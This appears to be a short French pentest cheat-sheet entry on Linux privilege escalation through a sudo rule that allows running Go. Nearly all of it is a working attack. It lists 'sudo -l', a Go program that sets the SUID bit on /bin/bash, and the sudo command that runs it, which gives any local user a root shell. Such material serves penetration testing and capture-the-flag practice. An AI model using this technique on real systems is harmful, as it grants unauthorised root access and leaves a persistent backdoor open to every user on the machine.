Sudo (Go) - Linux Privilege Escalation

Recherche des droits sudoers :

sudo -l

Possibilité d'exécuter Go en tant que root:

Création du fichier root.go :

• Déplacement vers le répertoire système /tmp et création d'un fichier root.go avec le code suivant en contenu :

package main

import (
    "log"
    "os/exec"
)

func main() {
	cmd := exec.Command("chmod", "u+s", "/bin/bash")

	err := cmd.Run()
	
	if err != nil {
		log.Fatal(err)
	}
}

Exécution du fichier root.go avec Go :

• Utilisation de Go pour exécuter le fichier root.go, qui modifie les permissions de /bin/bash pour permettre à n'importe quel utilisateur de l'exécuter avec les privilèges de l'utilisateur root.

sudo /usr/local/go/bin/go run root.go